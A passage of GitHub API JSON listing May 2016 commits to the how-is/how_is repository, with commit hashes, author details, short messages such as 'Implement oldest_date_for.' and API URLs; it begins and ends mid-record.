:"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c786f575fecebc7457f2c0982eec79f7957690a0","url":"https://api.github.com/repos/how-is/how_is/commits/c786f575fecebc7457f2c0982eec79f7957690a0","html_url":"https://github.com/how-is/how_is/commit/c786f575fecebc7457f2c0982eec79f7957690a0"}]},{"sha":"c786f575fecebc7457f2c0982eec79f7957690a0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Yzc4NmY1NzVmZWNlYmM3NDU3ZjJjMDk4MmVlYzc5Zjc5NTc2OTBhMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T10:33:40Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T10:33:40Z"},"message":"Remove unnecessary and nonfunctional C::Optional.","tree":{"sha":"7dae37d669950d18864ec6702564be156dac5bd2","url":"https://api.github.com/repos/how-is/how_is/git/trees/7dae37d669950d18864ec6702564be156dac5bd2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c786f575fecebc7457f2c0982eec79f7957690a0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c786f575fecebc7457f2c0982eec79f7957690a0","html_url":"https://github.com/how-is/how_is/commit/c786f575fecebc7457f2c0982eec79f7957690a0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c786f575fecebc7457f2c0982eec79f7957690a0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2cdd179ee0d11a2638c52220ec652e5e2cd2d44b","url":"https://api.github.com/repos/how-is/how_is/commits/2cdd179ee0d11a2638c52220ec652e5e2cd2d44b","html_url":"https://github.com/how-is/how_is/commit/2cdd179ee0d11a2638c52220ec652e5e2cd2d44b"}]},{"sha":"2cdd179ee0d11a2638c52220ec652e5e2cd2d44b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmNkZDE3OWVlMGQxMWEyNjM4YzUyMjIwZWM2NTJlNWUyY2QyZDQ0Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T10:29:09Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T10:29:09Z"},"message":"misc cleanup.","tree":{"sha":"c0faea4459f65561c51072525d25d6d0d3c41ce2","url":"https://api.github.com/repos/how-is/how_is/git/trees/c0faea4459f65561c51072525d25d6d0d3c41ce2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2cdd179ee0d11a2638c52220ec652e5e2cd2d44b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2cdd179ee0d11a2638c52220ec652e5e2cd2d44b","html_url":"https://github.com/how-is/how_is/commit/2cdd179ee0d11a2638c52220ec652e5e2cd2d44b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2cdd179ee0d11a2638c52220ec652e5e2cd2d44b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"04faf1ae5d40ed39b7e34f8c82efd00ce13c5422","url":"https://api.github.com/repos/how-is/how_is/commits/04faf1ae5d40ed39b7e34f8c82efd00ce13c5422","html_url":"https://github.com/how-is/how_is/commit/04faf1ae5d40ed39b7e34f8c82efd00ce13c5422"}]},{"sha":"04faf1ae5d40ed39b7e34f8c82efd00ce13c5422","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDRmYWYxYWU1ZDQwZWQzOWI3ZTM0ZjhjODJlZmQwMGNlMTNjNTQyMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T10:12:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T10:12:23Z"},"message":"Implement average_date_for.","tree":{"sha":"d3ccb014a46071a064ce5d42874fe229015daf04","url":"https://api.github.com/repos/how-is/how_is/git/trees/d3ccb014a46071a064ce5d42874fe229015daf04"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/04faf1ae5d40ed39b7e34f8c82efd00ce13c5422","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/04faf1ae5d40ed39b7e34f8c82efd00ce13c5422","html_url":"https://github.com/how-is/how_is/commit/04faf1ae5d40ed39b7e34f8c82efd00ce13c5422","comments_url":"https://api.github.com/repos/how-is/how_is/commits/04faf1ae5d40ed39b7e34f8c82efd00ce13c5422/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5e71312a87ac4686efc6a66cf92e8fac8b386a27","url":"https://api.github.com/repos/how-is/how_is/commits/5e71312a87ac4686efc6a66cf92e8fac8b386a27","html_url":"https://github.com/how-is/how_is/commit/5e71312a87ac4686efc6a66cf92e8fac8b386a27"}]},{"sha":"5e71312a87ac4686efc6a66cf92e8fac8b386a27","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWU3MTMxMmE4N2FjNDY4NmVmYzZhNjZjZjkyZThmYWM4YjM4NmEyNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:57:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:57:20Z"},"message":"Formatting.","tree":{"sha":"64a3139733b48abe0466720ddb24438c97d302c0","url":"https://api.github.com/repos/how-is/how_is/git/trees/64a3139733b48abe0466720ddb24438c97d302c0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5e71312a87ac4686efc6a66cf92e8fac8b386a27","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5e71312a87ac4686efc6a66cf92e8fac8b386a27","html_url":"https://github.com/how-is/how_is/commit/5e71312a87ac4686efc6a66cf92e8fac8b386a27","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5e71312a87ac4686efc6a66cf92e8fac8b386a27/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"cd287359fa49cab1707e4d6a90af45c140672276","url":"https://api.github.com/repos/how-is/how_is/commits/cd287359fa49cab1707e4d6a90af45c140672276","html_url":"https://github.com/how-is/how_is/commit/cd287359fa49cab1707e4d6a90af45c140672276"}]},{"sha":"cd287359fa49cab1707e4d6a90af45c140672276","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2QyODczNTlmYTQ5Y2FiMTcwN2U0ZDZhOTBhZjQ1YzE0MDY3MjI3Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:54:16Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:54:16Z"},"message":"Implement Analyzer#num_with_label.","tree":{"sha":"3ea8a1d372e59d126975ba9f83cb6602895cf42a","url":"https://api.github.com/repos/how-is/how_is/git/trees/3ea8a1d372e59d126975ba9f83cb6602895cf42a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cd287359fa49cab1707e4d6a90af45c140672276","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cd287359fa49cab1707e4d6a90af45c140672276","html_url":"https://github.com/how-is/how_is/commit/cd287359fa49cab1707e4d6a90af45c140672276","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cd287359fa49cab1707e4d6a90af45c140672276/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8cd002d405e4b5624c8d589c5892ade1510c88a5","url":"https://api.github.com/repos/how-is/how_is/commits/8cd002d405e4b5624c8d589c5892ade1510c88a5","html_url":"https://github.com/how-is/how_is/commit/8cd002d405e4b5624c8d589c5892ade1510c88a5"}]},{"sha":"8cd002d405e4b5624c8d589c5892ade1510c88a5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGNkMDAyZDQwNWU0YjU2MjRjOGQ1ODljNTg5MmFkZTE1MTBjODhhNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:46:19Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:46:19Z"},"message":"Comments.","tree":{"sha":"a901158bb1e0106a44b8e1caa3d70a53c2e8dc8e","url":"https://api.github.com/repos/how-is/how_is/git/trees/a901158bb1e0106a44b8e1caa3d70a53c2e8dc8e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8cd002d405e4b5624c8d589c5892ade1510c88a5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8cd002d405e4b5624c8d589c5892ade1510c88a5","html_url":"https://github.com/how-is/how_is/commit/8cd002d405e4b5624c8d589c5892ade1510c88a5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8cd002d405e4b5624c8d589c5892ade1510c88a5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"37bdaf24424f536aa471bbc795d6dfc61c2f2a5f","url":"https://api.github.com/repos/how-is/how_is/commits/37bdaf24424f536aa471bbc795d6dfc61c2f2a5f","html_url":"https://github.com/how-is/how_is/commit/37bdaf24424f536aa471bbc795d6dfc61c2f2a5f"}]},{"sha":"37bdaf24424f536aa471bbc795d6dfc61c2f2a5f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzdiZGFmMjQ0MjRmNTM2YWE0NzFiYmM3OTVkNmRmYzYxYzJmMmE1Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:44:47Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:44:47Z"},"message":"Add second label to fake issue.","tree":{"sha":"c3e95ba679c05e2842fd31c3b277c2c816edbb4a","url":"https://api.github.com/repos/how-is/how_is/git/trees/c3e95ba679c05e2842fd31c3b277c2c816edbb4a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/37bdaf24424f536aa471bbc795d6dfc61c2f2a5f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/37bdaf24424f536aa471bbc795d6dfc61c2f2a5f","html_url":"https://github.com/how-is/how_is/commit/37bdaf24424f536aa471bbc795d6dfc61c2f2a5f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/37bdaf24424f536aa471bbc795d6dfc61c2f2a5f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5d62b32d8a2deb8439952607a4375849b3fa12cb","url":"https://api.github.com/repos/how-is/how_is/commits/5d62b32d8a2deb8439952607a4375849b3fa12cb","html_url":"https://github.com/how-is/how_is/commit/5d62b32d8a2deb8439952607a4375849b3fa12cb"}]},{"sha":"5d62b32d8a2deb8439952607a4375849b3fa12cb","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWQ2MmIzMmQ4YTJkZWI4NDM5OTUyNjA3YTQzNzU4NDliM2ZhMTJjYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:43:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:43:46Z"},"message":"Implement oldest_date_for.","tree":{"sha":"a8e99bb3ddb73b15c29ee6fe1a606c32af35d6c8","url":"https://api.github.com/repos/how-is/how_is/git/trees/a8e99bb3ddb73b15c29ee6fe1a606c32af35d6c8"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5d62b32d8a2deb8439952607a4375849b3fa12cb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5d62b32d8a2deb8439952607a4375849b3fa12cb","html_url":"https://github.com/how-is/how_is/commit/5d62b32d8a2deb8439952607a4375849b3fa12cb","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5d62b32d8a2deb8439952607a4375849b3fa12cb/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ca94824bf97e652980ff421656e0326f781e62f4","url":"https://api.github.com/repos/how-is/how_is/commits/ca94824bf97e652980ff421656e0326f781e62f4","html_url":"https://github.com/how-is/how_is/commit/ca94824bf97e652980ff421656e0326f781e62f4"}]},{"sha":"ca94824bf97e652980ff421656e0326f781e62f4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2E5NDgyNGJmOTdlNjUyOTgwZmY0MjE2NTZlMDMyNmY3ODFlNjJmNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:14:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:14:20Z"},"message":"oldest_age_for => oldest_date_for.","tree":{"sha":"014f2d9993b7eab8a35ad23f3eb1299b3aa2db49","url":"https://api.github.com/repos/how-is/how_is/git/trees/014f2d9993b7eab8a35ad23f3eb1299b3aa2db49"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ca94824bf97e652980ff421656e0326f781e62f4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ca94824bf97e652980ff421656e0326f781e62f4","html_url":"https://github.com/how-is/how_is/commit/ca94824bf97e652980ff421656e0326f781e62f4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ca94824bf97e652980ff421656e0326f781e62f4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3be68f03dd1f26320a77d0d8c09850294fd1ff2d","url":"https://api.github.com/repos/how-is/how_is/commits/3be68f03dd1f26320a77d0d8c09850294fd1ff2d","html_url":"https://github.com/how-is/how_is/commit/3be68f03dd1f26320a77d0d8c09850294fd1ff2d"}]},{"sha":"3be68f03dd1f26320a77d0d8c09850294fd1ff2d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2JlNjhmMDNkZDFmMjYzMjBhNzdkMGQ4YzA5ODUwMjk0ZmQxZmYyZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:12:56Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-05-29T09:12:56Z"},"message":"average != oldest.","tree":{"sha":"65da2d7e563220a60091584d260f6181280ec8d9","url":"https://api.github.com/repos/how-is/how_is/git/trees/65da2d7e563220a60091584d260f6181280ec8d9"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3be68f03dd1f26320a77d0d8c09850294fd1ff2d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3be68f03dd1f26320a77d0d8c09850294fd1ff2d","html_url":"https://github.com/how-is/how_is/commit/3be68f03dd1f26320a77d0d8c09850294fd1ff2d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3be68f03dd1f26320a77d0d8c09850294fd1ff2d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"h